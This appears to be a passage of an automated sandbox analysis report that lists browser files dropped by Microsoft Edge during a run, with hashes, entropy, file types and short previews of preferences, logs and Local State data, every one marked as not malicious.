Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c1bce3e2-0b02-48f7-8f7a-498bb7f1fea3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\caf02a51-53ef-4812-947d-609b9ebb739d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.115363695518363
Encrypted:	false
SSDEEP:	192:stIkdpasL98sZihUkSm3Z8fbV+Fd2QA66W4aFIMYuPn0YJ:stIQasL98fhKJbGYQx6W4aTYOt
MD5:	883EFB99DDF93357DAE8705DDC616703
SHA1:	68002FDF75BAF5C5CE4B0230050A0BCFCBA24559
SHA-256:	F900C49E9B3D8507D6E088E699EFCC169C12A44998D46C9C76C9D5A4431C0C6C
SHA-512:	6A5DEB7DB3CE0D712C23B56C57FE66B44DB9A7F2BAEF4E4E8F4A305C72946AD3E5EF724328DED2E7CE07B0AB570DA5321FE0EAC3BA9171226FE0368725940BE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10253340965409595
Encrypted:	false
SSDEEP:	12:+da01daVspEjVl/PnnnnnnnnnnnvoQ/Eou:+z1joPnnnnnnnnnnnv1j
MD5:	3B29C7147E6067DBB20798C1AC4CE2E0
SHA1:	3F735D7DD6824DD926784BC1E022A1BAE12A41D8
SHA-256:	16E122916242FF07EEF8A0D8D41B01997610B98010AD6E2C3D9375359E784666
SHA-512:	FFF1FFED1A4A6876269B34E13F6117D3A283A42C41C25C6547A3A02C2750A3B61B4FFB2178B12432EED839AB8F86558FA5D4B0254EB585C012DBA58BD05D240B
Malicious:	false
Preview:	..-.............M........$O....".4..}..QT..f.....-.............M........$O....".4..}..QT..f...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8914624896054482
Encrypted:	false
SSDEEP:	384:G2kKdzTk4kvmkmjk85kyGkNpkbhkRH1YkEv8uyiyfPyByzjyGxywD:Pj
MD5:	61AFA7456955EED19F806C37C72ECEE9
SHA1:	1F436DC8EEBD13548E173341B3EB82C8A6EA9945
SHA-256:	9412627430F2F462F8574D5A34A204A8B000607F459917BED350966C8B4220A5
SHA-512:	958AB4F4D281DB35195BE063D342017E7EA5B9BB62BB8A6EA2A02465BAC7CBFDD8AE66F77DF019EC4590FD755629FBE044DB6EA268F01119CF6346ECE6DFDAE4
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5483357271145732
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuErUllnYE8c:iDW8lnh
MD5:	1E3637B0B7976025C58832ABD09BE6DC
SHA1:	53E859032C0FC4723D1F83BDC9813D43B1BC55A6
SHA-256:	0AFFAC9820029352418BDCF4BE58DE7C64EBBDB062031B49EB5799189A4EA7C1
SHA-512:	6EEBB3476CBE587626606F63CC03E9ED0FE878C42A3AE4B51EFCA3C11EB04806F125EE462BD5CE78E6091D28B84E300B8754986E33B6A98338B650D822CD7DD0
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....T8......T8...........V.e................V.e...................H0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215709598273555
Encrypted:	false
SSDEEP:	6:Hqj9yq2P923oH+TcwtfrK+IFUt8Yqjr1Zmw+YqO9RkwO923oH+TcwtfrUeLJ:KjAv4Yeb23FUt8Xjr1/+XO75LYeb3J
MD5:	F0CC23C40150C38B3E548C16C5D1A249
SHA1:	A9AE8A60BEE0F4F29FC03BDB10BC85708339EF8F
SHA-256:	57334A1F1E56D62BD6CA11872095D2414D4A0D11B4943A8E62CFE3BC93945FB4
SHA-512:	714FE4E4FB39A83C0E46A3403E218AABF8677434DFF086A04093A51218567745BBA3DF84B22E348A228FDC337BCE97E4A84171224940A096CE36021C75B691EA
Malicious:	false
Preview:	2024/11/24-17:24:22.686 1bc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-17:24:22.686 1bc0 Recovering log #3.2024/11/24-17:24:22.687 1bc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215709598273555
Encrypted:	false
SSDEEP:	6:Hqj9yq2P923oH+TcwtfrK+IFUt8Yqjr1Zmw+YqO9RkwO923oH+TcwtfrUeLJ:KjAv4Yeb23FUt8Xjr1/+XO75LYeb3J
MD5:	F0CC23C40150C38B3E548C16C5D1A249
SHA1:	A9AE8A60BEE0F4F29FC03BDB10BC85708339EF8F
SHA-256:	57334A1F1E56D62BD6CA11872095D2414D4A0D11B4943A8E62CFE3BC93945FB4
SHA-512:	714FE4E4FB39A83C0E46A3403E218AABF8677434DFF086A04093A51218567745BBA3DF84B22E348A228FDC337BCE97E4A84171224940A096CE36021C75B691EA
Malicious:	false
Preview:	2024/11/24-17:24:22.686 1bc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-17:24:22.686 1bc0 Recovering log #3.2024/11/24-17:24:22.687 1bc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.204761189769457
Encrypted:	false
SSDEEP:	6:HqrKyq2P923oH+TcwtfrzAdIFUt8Yqrc1Zmw+YqrKRkwO923oH+TcwtfrzILJ:K7v4Yeb9FUt8Xw1/+XS5LYeb2J
MD5:	3B9E0F2E45A7ED5DEB010EBB04F2E091
SHA1:	FFE8E2C1A0F76765F44ABEC2A522A8EF2AAA1490
SHA-256:	DC3614E59DC53E7EF2BBBD3A13C93C6EBBE216FF5916547C03A464F948C1E308
SHA-512:	445DF6BC0BA3A875D999B0B76D838B448E28266FA557D1C00D50B39902301EB570827218EBDA187BD60B14B488706361103578D3FF834F42C629F2F49BF6894E
Malicious:	false
Preview:	2024/11/24-17:24:22.683 1bc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-17:24:22.683 1bc0 Recovering log #3.2024/11/24-17:24:22.683 1bc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.204761189769457
Encrypted:	false
SSDEEP:	6:HqrKyq2P923oH+TcwtfrzAdIFUt8Yqrc1Zmw+YqrKRkwO923oH+TcwtfrzILJ:K7v4Yeb9FUt8Xw1/+XS5LYeb2J
MD5:	3B9E0F2E45A7ED5DEB010EBB04F2E091
SHA1:	FFE8E2C1A0F76765F44ABEC2A522A8EF2AAA1490
SHA-256:	DC3614E59DC53E7EF2BBBD3A13C93C6EBBE216FF5916547C03A464F948C1E308
SHA-512:	445DF6BC0BA3A875D999B0B76D838B448E28266FA557D1C00D50B39902301EB570827218EBDA187BD60B14B488706361103578D3FF834F42C629F2F49BF6894E
Malicious:	false
Preview:	2024/11/24-17:24:22.683 1bc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-17:24:22.683 1bc0 Recovering log #3.2024/11/24-17:24:22.683 1bc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36fd2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36fe2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37178.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39859.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d61d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
